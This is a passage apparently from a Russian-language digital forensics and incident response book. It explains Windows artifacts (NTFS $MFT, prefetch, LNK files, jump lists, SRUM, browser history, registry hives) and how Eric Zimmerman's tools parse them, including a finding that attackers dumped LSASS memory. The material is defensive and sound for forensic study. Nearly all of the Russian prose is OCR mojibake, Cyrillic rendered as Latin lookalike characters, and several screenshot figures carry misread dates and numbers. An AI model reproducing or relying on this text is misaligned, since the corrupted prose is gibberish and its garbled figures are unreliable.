Kak crienuanucToB 1o pearupOBaHUIO HA UHIMJIECHTHI, HAC B IIEPBYIO OUEPEIb UHTEPECYET AaHAJIN3 METAIAHHBIX,
I0O3TOMY JaBaMTE U3yUHM OJWH U3 OCHOBHBIX KoMIIOHeHTOB NTFS — rnaBryro daitnosyro Tadbmuiry (Master File
Table, MFT). Ona comepxut nndopmaiio 00 nMeHax (aiioB, KX PACIOIOKCHUH, pa3Mepax 1, KOHCUHO JKe,
BPEMEHHBIX MeTKaX. Mbl MOKEM HCII0JIb30BaTh MHpOpMaLMI0, u3BieueHHy0 13 MFT, nisa noctpoeHus



BPEMEHHBIX IIKaJ, KOTOPbIE MOT'YT IIOMOYb HAM BOCCTAHOBUTH HH(POPMALIUIO O (haijiax, CO3JaHHbIX U
HCIIOJIb30BAHHBIX 3JI0YMBIIIJICHHUKAMHU.

DTy HHPOPMAIIMIO MOKHO M3BJIeUb n3 MeTadaiiiaa SMFT. Meradaiiibl, B TOM dnciie paccMaTpUBacMbIi
daiix SMFT, MoryT OBITh M3BJICUYCHBI C IIOMOIILIO PA3IMYHBIX HHCTPYMEHTOB IIU(POBOH KPUMHHAINCTHKHU.
[Ipumep Takoro nucrpymenta — AccessData FTK Imager.

[ $AttrDef 3 RegularFile 21.12.2018 14:20:30
[ $BadClus 0 Regular File 21.12.2018 14:20:30
[ $Bitmap 14738 Regular File 21.12.2018 14:20:30
[] $Boot 8 Regular File 21.12.2018 14:20:30
(] $120 8 NTFSIndex.. 27.10.2021 5:20:56

(1 $LogFile 65 536 Regular File 21.12.2018 14:20:30
(3 SMFT 987 392 Regular File 21.12.2018 14:20:30
[J $MFTMirr 4 RegularFile 21.12.2018 14:20:30
[ $Secure 1 Regular File 21.12.2018 14:20:30
[] $TXF_DATA 1 NTFS Logg.. 27.10.2021 5:20:56

[] $UpCase 128 Regular File 21.12.2018 14:20:30
[ $Volume 0 Regular File 21.12.2018 14:20:30

Puc. 7.8. SMFT u npyrue metadaitne NTFS, otodpakennsie B AccessData FTK Imager

S He coOuparch yTOMJISITh BaC BHYTPEHHUM YCTpoiicTBOM NTFS — Ha 3Ty TeMy €CTh MHOI'O IIPEKPACHBIX
MCTOYHHUKOB MHGopManuu, Hanpumep «KpuMuHamucTuueckuil ananus ¢aimoBeix cucteM»18 (File System
Forensic Analysis) bpaitana Kappuos: https://www.amazon.com/System-Forensic-Analysis-Brian-Carrier/dp/-
0321268172.

Yro menaTh Mocje Toro, Kak Bel M3Biekim Meradain SMFT? MoxHo 1100 IpoCMOTPETh €ro HapsIMy*o, JTH00
CHaJaJia pa3oopaTh €ro, a 3aT€M MPOAHATU3UPOBATh U3BJICUCHHBIC TaHHBIE.

A 0yny ccwnatbes Ha Dpuka [ lummepmana — oOsagatesns Harpajbl « KoMIIbIOTEpHBIM KPUMHAHAIUCT T'0J1a» B
2019 r. u uaCTpyKTOpa SANS — M €ro nNpocjaBjleHHbIH HA00p OCCIIATHBIX HHCTPYMEHTOB JJIs1 LIU(POBOIO
KPUMUHAJIUCTUYECKOTO aHann3a. MHCTpYMEHTBI JOCTYIIHBI 10

anpecy https://ericzimmerman.github.io/#!index.md.

Ecnu BeI peamounTacte npocMmarpuBath SMFT Hanpsmyro, Bam nogoiiaet Bapuant MFTEXplorer. K
COXKAJICHUIO0, TTOJIOOHBIE IPOCMOTPOBBIE CPEJICTBA HE OYEHB OBICTPO PA0OTAIOT, ITIOITOMY I OB PEKOMEH10BAIT
cHayaja pa3obparh meradaiin. s 3Toro cymecTByeT oTaeabHbIN nHCTpyMeHT — MFTECMd. Mcnons3ys ero,
BBl MOXKETe IIpeoOpa3oBaTh JanHbie 13 SMFT B merko untaemsblii (paiii ¢ moassMu, pa3ieeHHBIMU 3aMSTHIMU
(Comma-Separated Values, CSV), koTopblii MOXKHO aHATU3UPOBATH C IIOMOIIBIO JTIOOOr0 M3 BaIINX JIFOOMMBIX
MHCTPYMEHTOB, Takux Kak Microsoft Excel.

Eme oauH MHCTPpYMEHT, IIpeIcTaBIICHHBIN B ITakeTe Dpuka [lummepmana, — Timeline Explorer. Bot kak
npoananusupoBanubiil daiia SMFT moxkeT Beirnsaaers B Timeline Explorer.

I Tienaine Explorer v1.2.0.0 - O x
File Tools Tabs View Help

0210410 18 1430 _MFTEOmd _SMFET_Output.csv x

rent Path File Name Extension File Size |[Createddxl®
Vi O e 5 £ - —

725 .\Windows\SoftwareDistribution\SL5\9482F4B4.. sls.cab .cab 24629 2001-01-01 00:00:00
79117 .\Windows\SoftwareDistribution\SLS\117CAB2D.. sls.cab .cab 27122 2001-01-01 00:00:00
171641 .\Program Files (x86)\Microsoft Office\OFFI.. UCSCRIBE.DLL .DLL 72256 2003-87-14 19:57:10
171642 .\Program Files (x86)\Common Files\Microsof.. USP18.DLL .DLL 422912 2004-82-05 09:42:20
171638 .\Program Files (x86)\Common Files\Microsof.. UCS20.DLL .DLL 121536 2004-06-23 19:21:30
154396 .\Program Files\Microsoft SQL Server \100\Se.. Readme . htm htm 15182 2008-67-03 18:32:24
154442 .\Program Files\Microsoft SQL Server \186\Se.. s10ch_setup.chm . chm 1309625 2008-067-03 18:32:30
154313 . \Program Files\Microsoft SQI Server 186\ Se license Dev. etf rtf 25583 72008-07-83 18:33:34
154315 .\Program Filez\Microszoft SQL Server \108\Se.. license_Ent_OEM.rtf rtf 34774 2008-87-83 18:33:34
154317 .\Program Files\Microsoft SQL Server \180\Se.. license_Ent.rtf .rtf 43203 2008-67-03 18:33:34
154318 .\Program Files\Microsoft SQL Server \188\Se.. license_Eval.rtf rtf B986 2008-07-03 18:33:34
154319 . \Program Files\Microsoft SQL Server \108\Se_. license Expr.rtf -rtf 7652 2008-67-83 18:33:34
154323 .\Program Files\Microso ft SQL Server\100\Se.. license_Std_OEM.rtf .rtf 32892 2008-07-03 18:33:34
154324 _\Program Files\Microsoft SQL Server \100\Se.. license_Std.rtf .rtf 41746 2008-07-03 18:33:34
154325 .\Program Files\Microsoft SQL Server\100\Se.. license_Std_SBS_OEM.rtf rtf 26891 2008-07-83 18:33:34
154326 .\Program Files\Microsoft SQL Server \100\5e.. license_Std_SBS.rtf .rtf 36300 2008-07-03 18:33:34
154328 .\Program Files\Microsoft SQL Server \108\Se.. license_Web.rtf .rtf 27124 2008-07-03 18:33:34

154327 .\Program Files\Microsoft SQL Server\100\Se..
154329 .\Program Files\Microsoft SQL Server\100\S5e..

154330 .\Program Files\Microsoft SQL Server\108\Se..
« |

license_Web_OEM.rtf
license_WkGp_OEM.rtf
license WkGp.rtf

rtf
rtf
.rtf

26876 2008-07-03 18:33:36
32935 2008-07-©3 18:33:36
42904 2008-07-03 18:33:36 -

CAUsers\Alen\ Desitop\KAV0210410187432_MFTECmd_SMFT_Output.cav

Total lines 343 367 Visible lines 343 367 Open files: 1 25 Search ophons

Puc. 7.9. llpoananu3upoBanueii SMFT, orkpeiTeiii B Timeline Explorer

Timeline Explorer mo3Bosisier BbIOpaTh CTOIO0IIBI, HA KOTOPBIX BBl XOTUTE COCPEIOTOUNThCA. OH Tak)Ke UMEET
y100HBIE BO3MOKHOCTH (DUIBTPALIMH, YTOOBI BBl MOTJIM JIETKO OTCEHUBAThH JIUIITHEE.

B onepannonHoii cucteme Windows cymiecTByeT MHOXKECTBO HCTOYHUKOB apTe(PaKTOB, ITOJIE3HBIX JJIs
CIICIIMAJIMCTOB IO pearipoBaHUIO0 Ha MHIUACHTHL. HauHeM ¢ TeX, KOTOpbIe TOMOTal0T COOMpPaTh CIIEHbI
BBIIOJIHEHUS, 1 JIJIs Hadaiaa o0cyauM (haiijibl TpPaCCUPOBKH.



danjibl TPACCUPOBKH

daiiner TpaccupoBku HaxomsaTes B manke C:\Window\Prefetch u ncronab3yroTcs i1 TOBBIIICHUS
IPOU3BOIUTECILHOCTH CUCTEMEI 3a CUET MPEABAPUTEILHOM 3arpy3KH KOJIa YaCTO MCIIOJIb3YEeMbIX IPHUI0KCHHM.

OtH (aitiasl UMEIOT paciupenne .Pf u cogepxar BpeMeHHBIE METKU BBIIIOJIHESHUS IIPOTrPaMMBbI M KOJTMYSCTBO
3aIyCKOB, a TAK)KE CIHCOK I1allOK U (PalJIOB, C KOTOPBIMH B3aUMOJICHCTBOBAJ UCIIOJIHIACMBIN (haii.

daiiael TpaCCUPOBKU MOKHO MPOAHATU3UPOBATh ¢ momotiso PECmd.
PECmd version 1.4.0.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/PECmd

Command line: -f C:\Windows\Prefetch\CMD.EXE-8E75B5BB.pf

Keywords: temp, tmp

Created on: 2021-10-31 12:01:38
Modified on: 2021-10-31 12:03:16
Last accessed on: 2021-10-31 12:08:07

Executable name: CMD.EXE
Hash: 8E75BS5BB

File size (bytes): 11 956
Version: Windows 10

Run count: 2

Other run times: 2021-190-31 12:01:28

Puc. 7.10. Hacte BeiBOga PECmd

Pazymeercs, (aliiibl TpaCCUPOBKH — 3TO HE €IMHCTBEHHBIN HCTOYHMK CJICJIOB 3allyCKa MPOrpaMm, JPyrue Mbl
oocyaum B pazaenax «Peectp Windows» n «Kypnaibsl coobitrii Windowsy.

A ceryac maBaiite paccMOTpuM apTedakTsl gocTyma K daiinam — LNK-dakiisl u cniuckn nepexoaos.

LNK-¢panibl

@aitnbl LNK (1M «apiblkny) aBTOMaTHYECKH CO3JIat0TCs ollepalimoHHoN cucteMoit Windows, koraa
10JIb30BaTelb (WM 3JI0YMBIIIJICHHUK ) OTKPBIBAET JOKAJIbHBIN WM YAAJICHHBIN (haiil. DTH (pailjabl MOKHO HAUTH
B CJICIYIOIIUX MECTaxX:

. C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\Recent\
. C:\%USERPROFILE%\AppData\Roaming\Microsoft\Office\Recent\

Cpeay npovux JIaHHBIX Takue (haljbl COAEPkKAT BpEMEHHbIE METKH Kak caMoro ¢aitna LNK, Tak u daiina, Ha
KOTOPBIM OH YKa3bIBAET, TO €CTh TOr'O (paiiia, KOTOPBIHA ObLI OTKPBIT (KM, BOBMOKHO, YK€ YJIaJICH).

CymiecTByeT M HHCTPYMEHT IS pa3dopa takux ¢aitnoB — LECmd.

LECmd version 1.4.0.0

Author: Eric Zimmerman (saericzimmerman@gmail.com)
https://github.com/EricZimmerman/LECmd

ommand line: -f C:\Users\Alien\AppData\Roaming\Microsoft\Windows\Recent\lsass.DMP.lnk

Source file: C:\Users\Alien\AppData\Roaming\Microsoft\Windows\Recent\lsass.DMP.1lnk
Source created: 2021-09-29 11:11:06
Source modified: 2021-99-29 11:11:86
Source accessed: 2021-10-31 12:30:07

Target created: 2021-09-29 11:10:17
Target modified: 2021-09-29 11:10:26
Target accessed: 2021-09-29 11:11:06

File size: 45 191 417

Puc. 7.11. Hactp BeiBoga LECmd

Ha ckpuHIIOTE BUAHBI JOKA3aTEIBCTBA TOTO, YTO 3JIOYMBIIIICHHUKH Aesiaid gamin LSASS, npuMeHUB OYEHb
PACIIPOCTPAHEHHBIM METO JOCTYIIA K YUETHBIM JaHHBIM.



JlaBaiiTe pacCMOTPHM JIPYrOoM aHAJTOTHYHBIM HCTOYHUK HU(YPOBBIX KPUMHUHAIMCTUYECKUX apTEe(haKTOB,
OTHOCSIIUNICS K (DalJIOBOM CHUCTEME, — CITUCKH MEPEXOJI0B.

CNIHUCKH nepexoaoB

CHOucku mepexoj0B — 3To pyHKUMS naHeau 3aaad Windows, KOTopasi IT03BOJISIET MOJIb30BaATEISIM
IIpOCMaTPUBaTh CIIMCOK HEAABHO UCIIOJb30BAHHBIX JIEMEHTOB. DTY (DYHKIMIO TaK)KE MOT'YT MCII0JIb30BaTh
CIEIUAIMCTHI 110 HU(PPOBOM KPUMUHAIMCTUKE M PEaripOBaHNUIO0 HA MHIMIACHTHI JJI1 U3Y4YCHMS CIIMCKa (PaiioB, K
KOTOPBLIM HEJIaBHO 00OpaIllaIiCh.

Taxue daiiner moxxao Hatith B manke C:\%USERPROFILE%\AppData\Roaming\Microsoft\Windows\-
Recent\AutomaticDestinations.

JI1 mpocMoTpa COAEPKUMOTO TaKUX (PaIoB CYIIECTBYET HHCTPYMEHT ¢ rpaduyeckuM uHTepdericom JumpList
Explorer.

Kak Bu1HO Ha pucyHKe 7.12, CIMCKM IIEPEX0I0B COAEpKaT MH(OPMAIMIO HE TOJILKO O (paijaax, HO U, HaIpuMep,
0 XOCTax, K KOTOPBIM OCYIIECTBIISIETCA NOCTYII yepe3 RDP. 910 upe3BbIyaiHO IOJIE3HO MTPU OTCIICKUBAHUA
TOPU30HTAIBHOI'O HEPEMEILIEHUS 110 CETH.

4 Jumplist Explorer v1.4.1.0 - 0O x
| File Tools Help ‘
Source Fle Name Jurp List Type App ID App ID Description Lrk File Count Fie Size
v ok - o L3 - - -
Cr\Users\Alen\AppData\Roa..  Autoenatic 1h3d6 7¥29ch 1962 Windows Explarer Prined and 2 5120 E
» |Ci\Users\AlenVAppData Roa... | Automatic 1x392b3e 1043008 Remote Desktop Connection 6.... 5 13312
C:\Users\Alen \AppData Roa Automatic 1113467625 1028 Unknown Apold 3 6656
C:\sers\AlenAopData'Roa...  Automatic 3 laeIcdacifes Unknown Appld 0 15%
C:\Users\Alen \AppData Roa Automatic Ach9c5750d45 10 7 Microsoft Movies & TV (Budd 10 “ 77930 _

? 4 IXI9D8e 10900¢. outomaticDestnations-ms

Entry #: 0005 - My Computer\C: \Windows\System32\ymstsc.exe

Entry 2: 0004 - My Computer\C:\Windows\System32\mstsc.exe N - o = - 0 - -

Entry #: 0003 - My Computer'\C:\Windows\System32ynstsc. exe ’ § 2021-04-0308... 2021-04-0308... 2021-08-0803.. My Computer) .

Entry 2: 0002 - My Computer\C:\Windows\System32\ymstsc. exe 4 2021-040308.. 2021-04-0308... 2021-070303... My Computer)

Entry #: 0001 - My Computer \C: \Windows\System32ynstsc.exe 3 2021-040308... 20210403 08... 2021070303.. My Computer)
2 2021040308, 2021040308 .. 2021070223, My Computer)
1 2021040308, 2021040308, 202106-2908 . My Computer),

Entry Number Tugét Create f Target Modfie Target Access [ Absolute Path Extra Block Co...  Interacton Cou

“u oW weae
R

" appld | 1bc392b8e 1040008 ‘
| Appld descripson | Remote Desktop Connection 6, 1,7600 (Win7) |

!
| lestusedentry® |5 |
|

Puc. 7.12. IIpocMOTp cnrMcKOB nepexoaoB ¢ noMoiisio JumpList Explorer

OOpaTtumMcs K OTHOMY M3 MHCTPYMEHTOB PACCICI0BAHUS KPaXKU JAHHBIX — K MOHUTOPY MCIOJIb30BaHUS
CHUCTEMHEIX pecypcoB (System Resource Usage Monitor, SRUM).

MOHUMTOP HMCIIO0JIb30BAaHUA CUCTEMHBIX PECYpPCOB

Ota pyHkiusa Windows ucnoab3yeTcs 11 MOHUTOPHUHIAa IPOU3BOAUTEIIBHOCTA CUCTEMBI M IIOMOIraeT
CIICLMAJINCTY IO PearupoOBaHUIO HA MHIIMICHTHI I10JIy4aTh HH()OPMAIIUIO O TOM, CKOJIBKO JaHHBIX
OTIIPABJICHO/MIOJYYEHO KaXKAbIM MPUJIOKEHUEM B 4ac, YTO UMEET pelIarollee 3HAUCHHUE IIPU PACCIICIOBAaHUU
KPaXU JIAaHHBIX.

ba3a manubrx ¢ gjaaaeiMu SRUM naxoaurcs B nanke C:\Windows\System32\SRU.

JI1 KOppEKTHOIr0 aHajr3a JaHHBIX BaM TaK:Ke MOXKET IToTpedoBaThes (aiin ¢ pazaenom peectpa SOFTWARE,
pacmionoxkeHnHbIi B nanke C:\Windows\System32\config.

O6a >Tux (aitna MoxxHO 00padoraTh ¢ moMompio STUMECMd. IlomyyeHHbIe GaliiIbl MOXKHO IIPOCMOTPETH C
nomompio Timeline Explorer (puc. 7.13).



30 Tmeine Explorer v1.3.0.0 - o x

File Tools Tabs View Help

2021103113290 _SrumECmd_Netwerklizages, Oulput.csy  »

MoMecTUTe CHAa 3AroN0BOK KOMOHKHW ANA TPYNNMPOBKKW NO ITOR XONOHKE BESAMTE TEXCT ANR NOWOKA Moy
.Time:::amp Exe Info ~ Bytes Received Bytes Sent I

Y - o - =
2021-89-18 10:16:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 19783998 3836310
2021-09-18 14:49:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 128807 96410
2021-909-18 14:49:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 142344 83376
2021-09-19 07:43:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 20985156 3543660
2021-99-19 11:39:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 1839 &)
2021-99-19 12:39:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 1332 e
2021-09-19 13:41:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 1628 2]
2021-09-19 14:41:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 1266 )
2021-09-19 16:06:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 890 0
2021-89-29 98:33:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 36056121 3616561
2021-09-29 09:25:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 34798269 5444514
2021-99-29 10:53:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 146403 133351
2021-10-82 10:16:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 465 L}
2021-10-082 12:22:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 1100 L]
2021-10-02 13:21:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 1106 e
2021-10-82 13:43:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 405 ]
2021-10-082 13:48:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 296 9
2021-10-92 13:52:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 109 a
2021-10-02 13:56:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 119 )
2021-10-02 16:59:00 \device\harddiskvolume5\program files (x86)\teamviewer\teamviewer service.exe 169 2]
2021-10-82 17:05:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer_service.exe 294 a
2021-10-82 17:10:00 \device\harddiskvolumeS\program files (x86)\teamviewer\teamviewer service.exe 106 e

DA20211031132930_SrumECmd_NetworkUsages_Output cov Total lines 6 896 Visible knes 6395 Open fles: 1 g Search optices

Puc. 7.13. IIpocMoTp nipoaHanu3upoBaHHbIX JaHHBIX SRUM ¢ nomomipto Timeline Explorer

YTo el1e UCIOIb3YIOT 3JI0YMBIIIICHHUKH JJI1 KPaXKM JaHHBIX U KOIUPOBaHUS HHCTPYMEHTOB? KoHEuHO, BeO-
Opay3ephbr!

Be6-6pay3epsl

Be06-0pay3epbl HIMPOKO MPUMEHSIOTCS KaK OOBIYHBIMHU TOJIb30BATEISIMU, KOTOPBIE MOTYT OKa3aThCs JKEPTBAMMU
1I€JIEBBIX (DUITMHIOBBIX aTaK, TaK W 3JI0YMBIIICHHUKAMHU, KOTOPbIE OOBIYHO MCIOJB3YIOT UX JIJISl 3arpy3KH
JIOTIOJTHUTEIbHBIX HHCTPYMEHTOB U KPAXKU JAHHbBIX.

JlaBaiiTe coCpe0TOUMMCS Ha TpeX OCHOBHBIX Opay3epax — Microsoft Edge, Google Chrome u Mozilla Firefox.

OCHOBHOI MCTOYHHUK YUK, CBSI3aHHBIX C Opay3epoM, — UCTOPHUS MPOCMOTPOB. Ee aHann3 MOKEeT BBISIBUTH
MECTa, OTKY/1a B3JIOMIIUKH 3arpyKajli MHCTPYMEHTHI WM, HAIpUMEP, IJIe OHU pa3Mellaid COOpaHHbIC TaHHBIE.
OOBIYHO 3TH AAHHBIC XpaHATCA B 0a3ax gaHHbIX SQLite, KOTOpbIE MOKHO HAUTH 3/1€Ch:

. Microsoft Edge: C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\History

. Google Chrome: C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\History

. Mozilla Firefox: C:\Users\%USERPNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\<random
text>.default\places.sqlite

ba3bl gaHHbIx SQLite MOKHO aHAIU3UPOBATH JIMOO BPYUHYIO, HCIOIB3Ys, Hanpumep, DB Browser mis SQLite
(https://sglitebrowser.org/dl/), 1160 ¢ MOMOIIBIO CIIEUATU3UPOBAHHBIX HHCTPYMEHTOB KPUMUHAIUCTUKH IS
Opay3epos, Hanpumep BrowsingHistoryView (https://www.nirsoft.net/utils/browsing_history view.html).

n BrowsingHistoryView = O X
File Edit View Options Help

ERxBh=FE23

URL Title Visit Time 7 VisitCount ~
Qhttps://sso.group-ib.com/?r... Group-IB Authentic.. 05.11.2021 10:09:32 1

& https;//sso.group-ib.com/o.. Group-IB Authentic.. 05.11.2021 10:09:32 1
@https://huntbox.group-ib.co.» Group-1B THF 05.11.2021 10:09:32 46
Qhttps://sso.group-ib.com/2f... Group-IB Authentic.. 05.11.2021 10:0940 1
Qhttps://sso.group-ib.com/o... Group-IB THF 05.11.2021 10:09:54 1
0https://huntbox.group-ib.com Group-IB THF 05.11.2021 10:09:54 46
Qhttps://huntbox.group-ib.co.» Group-IB THF 05.11.2021 10:09:54 1
Qhttps://huntboxgroup-ib.co.“ Group-IB THF 05.11.2021 10:09:58 7
®https://huntbox.group-ib.co.» Group-IB THF 05.11.2021 10:10:03 1
Qhttps://huntbox.group-ib.co.” Group-1B THF 05.11.2021 10:11:28 1
@https://www.google.com/se... “nuts.exe” - Google.. 05.11.2021 10:18:15 2
Qhttps://www.google.com/se... “nuts.exe” - Google.. 05.11.2021 10:18:16 2
@https://mega.nz/file/E14GF... Download - MEGA  05.11.2021 10:24:03 2
Qhttps://mega.nz/file/E14GF... Download - MEGA  05.11.2021 10:24:03 2 v
< >
918 item(s) NirSoft Freeware. https://www.nirsof

Puc. 7.14. Ananu3 ucropuu Be0-norcka ¢ nomoibo BrowsingHistoryView

[ToJIe3HBIMM KPUMHUHAIMCTUYECKUMU apTe(PaKkTaMu TaKKe SBJSIOTCS (haljibl «KYKH» W KAIII.



Daiiyibl «KYKH» MO3BOJISIIOT BEO-Opay3epaM OTCIICKHUBATh U COXPAHATh HH(POPMALIMIO O CEAHCE KaXI0TO
MOJI30BATEIS, B TOM YHUCJIE M O MOCEIICHHBIX BEO-calTax. DTa HHMOPMAIMS TAKKE XPAHUTCS B 0a3ax JTaHHBIX

SQL.ite:

. Microsoft Edge: C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Cookies

. Google Chrome: C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Cookies

. Mozilla Firefox: C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\-
Profiles\<randomtext>.default\cookies.sqglite

Eue oaun apredakT, CBSI3aHHBIN ¢ Opay3epoM, — €ro K3III, TO €CTh KOMIIOHEHTHI B€O-CTpaHHUIl, COXPAHCHHbBIE
(WM K3IIMPOBAHHBIE) JIOKAJIBHO, YTOOBI ITPU CIEAYIOIIEM MOCEIIEHUH CTPAHUIIBI 3arPYKAIUCH OBICTpEE.

BoT rae Haxonsarcs (aiiibl K311a 151 pa3HbIX Opay3epoB:

. Microsoft Edge: C:\Users\%USERNAME%\AppData\Local\Microsoft\Edge\User Data\Default\Cache

. Google Chrome: C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default\Cache

. Mozilla Firefox: C:\Users\%USERNAME%\AppData\Roaming\Mozilla\Firefox\Profiles\<randomtext>.-
default\Cache

CyliecTByeT HECKOJILKO HHCTPYMEHTOB, CIIOCOOHBIX MHTEPIPETUPOBATH JIAHHBIC, XpaHsIIUecs B (haliax Kalia.
Hexoroprie u3 uux — ChromeCacheView (https://www.nirsoft.net/utils/chrome_cache view.html) u
MozillaCacheView (https://www.nirsoft.net/utils/mozilla_cache viewer.ntml), Ho ecTpb u npyrue.

Elie oguH HCTOYHUK HUPPOBBIX YUK — peectp Windows.

PeecTp Windows

Peectp Windows npejcTaBisieT coOOM nepapXruuecKyro 0a3y JaHHBIX, B KOTOPOW XPAHSITCS Pa3InYHbIC
napamMeTpbl KOH(PUTYpaIMH, a TaK)Ke BaykHass HH(POpPMAIMs O 3allyCKe MPOorpamMM M ASMCTBUAX MOJIb30BaTE/ICH.

BoT rae pacnosokeHbl Qailibl peecTpa:

. ®annbl SAM, SYSTEM n SOFTWARE Haxogatca B nanke C:\Windows\System32\config.

. ®annbl NTUSER.DAT n USRCLASS.DAT nHamBuayanbHbl AN KaXKA0ro
nonb3oBaTena, NTUSER.DAT HaxoguTca B nanke C:\Users\%USERNAME%, a USRCLASS.DAT — B
nanke C:\Users\%USERNAME%\AppData\Local\Microsoft\Windows.

. ®ann Amcache.hve Haxoautca B nanke C:\Windows\AppCompat\Programs.

. ®ain Syscache.hve xpaHutca B nanke C:\System Volume Information. OH nmeeTca Tonbko B Windows 7 1
Windows Server 2008 R2, HO mo»KeT bbiTb O4EHb NOJIE3EH, MOCKOJ/IbKY coaepXKUT xewn SHAL ansa ABONYHbIX
dannos, KOTopbie bbl/IN 3aMnyLLEHDbI.

Teneps maBaiiTe paccMOTpUM HanOoOIee paCIpPOCTPAHECHHBIC HICTOUYHUKHU YIHK, KOTOPbIC Bbl MOXKETE HAUTU MPHU
aHanuze (¢paiaoB peectpa Windows:

. UserAssist (NTUSER.DAT\Software\Microsoft\Windows\Currentversion\Explorer\UserAssist\{GUID}\Count)
COAEepPXUT MHPOPMaLMIO O NPorpaMmmax ¢ rpadmnyecknm MHTepdencom, 3anyckaemblx Noab3oBaTesIeM, a
TaK»Xe MHbopMaLMIO O KOZIMYECTBe 3aMyCcKoB, AaTe U BPeMEeHU nociegHero NCnoaHeHus.

. ShimCache (SYSTEM\CurrentControlSet\Control\Session Manager\AppCompatCache) coaepxuT
MHPOPMALUIO O BbIMOJHAEMbIX MPOrpaMmmax, BKaovas Ux nyTn, pasmep un gatbl nocaeaHen mogndukaumm.

. Amcache (Amcache.hve\Root\File\{Volume GUID\#######) conep>KUT MHOOPMaLMIO O BbINOJAHAEMbIX
nporpammax, Bkatoyasa nx nytm, xewn SHA1 n BpemeHHble METKN NepBOro BbINOJIHEHUA.

KoneuHo, apTedakThl 3amycka IporpaMmM — 3TO HE €IMHCTBEHHBIC IM(DPPOBBIC YIMKH, KOTOPBIE MOKHO U3BJICYb
u3 peectpa Windows. JIpyroii BaKHBIM THUII YUK — apTe(aKThl, CBUICTEIHLCTBYIOIIME O HEJAaBHEM
MCIOJIb30BaHUM (pailIoB M Ianok. JlapaiiTe pacCMOTPUM CaMbl€ pacIpPOCTPAHECHHbIE:



. Most Recently Used (MRU) (NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\-
ComDlg32\LastVisitedPidIMRU) cooep»1UT cnUCcKM HeaaBHO MCMO/Ib30BaHHbIX pali1ioB Ha OCHOBE UX
PACLLUNPEHUNA.

. Recent files (NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs) — euue
O MH UCTOYHUK MHPOPMALIMM O HeJaBHO MCNOb30BaHHbIX daiiax.

. Shell bags (USRCLASS.DAT\Local Settings\Software\Microsoft\Windows\Shell\Bags) conep*uT cnncox
HeJlaBHO MUCMO/Ib30BaHHbIX NaMoK, BKAo4Yaa oblme ceteBble pecypcbl U CbeMHble YCTPOICTBA.

DTO JUIIb HECKOJIBKO IMMPUMEPOB IIEHHBIX YUK, KOTOPbIE MOKHO HauTH B peectpe Windows. B uucie gpyrux —
pazIMYHbIC MEXaHU3MbI 3aKPEIJICHUS B CUCTEME, apTe(DaKThl YIAIEHHOIO J0CTYyNa U JIp.

CyIIECTBYIOT PA3JIMYHBIC TTOJXO/IbI K AaHAIIU3Y peecTpa. Ero MOKHO aHAIIM3UPOBATH BPYUHYIO, COCPEAOTOUYNB
BHUMAHUE HA MIOKUCKE MO KIIFOUYEBBIM CIIOBAM — HA OCHOBE UMEKIIUXCA Y BAC UHAMKATOPOB KOMIIPOMETAIIHMU.
Hanpumep, BbI MOkeTe ncnonb3oBaTh Registry Explorer
(https://f001.backblazeb2.com/file/EricZimmermanTools/ReqistryExplorer.zip) — odepeaHOM MOJIE3HBIN
MHCTPYMEHT OT Jpuka [[ummepmaHa, KOTOPBIN MTO3BOJISIET MPOCMATPUBATH KaK U3BJICYEHHBIE (DAIIIBI peecTpa,
TaK U AKTYaJIbHBIA PEECTP, BKIIFOYAs YIAJCHHBIE KJIFOUYU U 3HAYCHUS.

51 pEKOMEHIYIO 3TOT UHCTPYMEHT I PYYHOI'O aHAIN3a, HO OH TaKXE MPEAOCTABISAET MHOKECTBO IIJIATUHOB 111
ABTOMATHYECKOT0 aHAJIN3a PACIIPOCTPAHCHHBIX apTE(PAKTOB.

File Tools Options Bookmarks (27/0) View Help

Registry hives (1)  Available bookmarks (27)0) Valies
| TVakeName |VaueType |Data Value S| Is Delet .. | Data Record
4K=ynane _8v&.:es _lmbk:y's ‘Lcsl\\m:mswnp 7 | "
LAl » 5 = = =
| 4 @ C:\Windows\system32\config \SYSTEM
» » ROOT 0 17 2021-10-31 16:17:05
» | . Assodated deleted records 0 0
» | g Unassodated deieted records 0 0
‘ Unassocated deleted values 587 0

Key:  ROOT Value: None Collapse all hives

Selected hive: SYSTEM  Lastwrite:  2021-10-31 1&17:05  Key contains no values  Load complete Hidden keys: 0 - )

